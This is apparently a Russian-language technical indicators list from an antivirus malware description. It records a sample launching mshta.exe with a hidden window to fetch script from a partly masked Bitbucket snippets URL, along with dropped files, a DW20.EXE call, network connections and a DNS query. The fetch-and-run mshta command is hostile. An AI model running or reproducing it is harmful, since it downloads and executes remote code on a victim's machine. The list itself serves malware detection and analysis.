Техническая информация
- '<SYSTEM32>\mshta.exe' http://bi###cket.org/!api/2.0/snippets
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1428
- %HOMEPATH%\application data\microsoft\forms\excel.box
- %TEMP%\1190412.cvr
- 'bi###cket.org':80
- 'bi###cket.org':443
- http://bi###cket.org/!api/2.0/snippets
- 'bi###cket.org':443
- DNS ASK bi###cket.org
- '<SYSTEM32>\mshta.exe' http://bi###cket.org/!api/2.0/snippets' (со скрытым окном)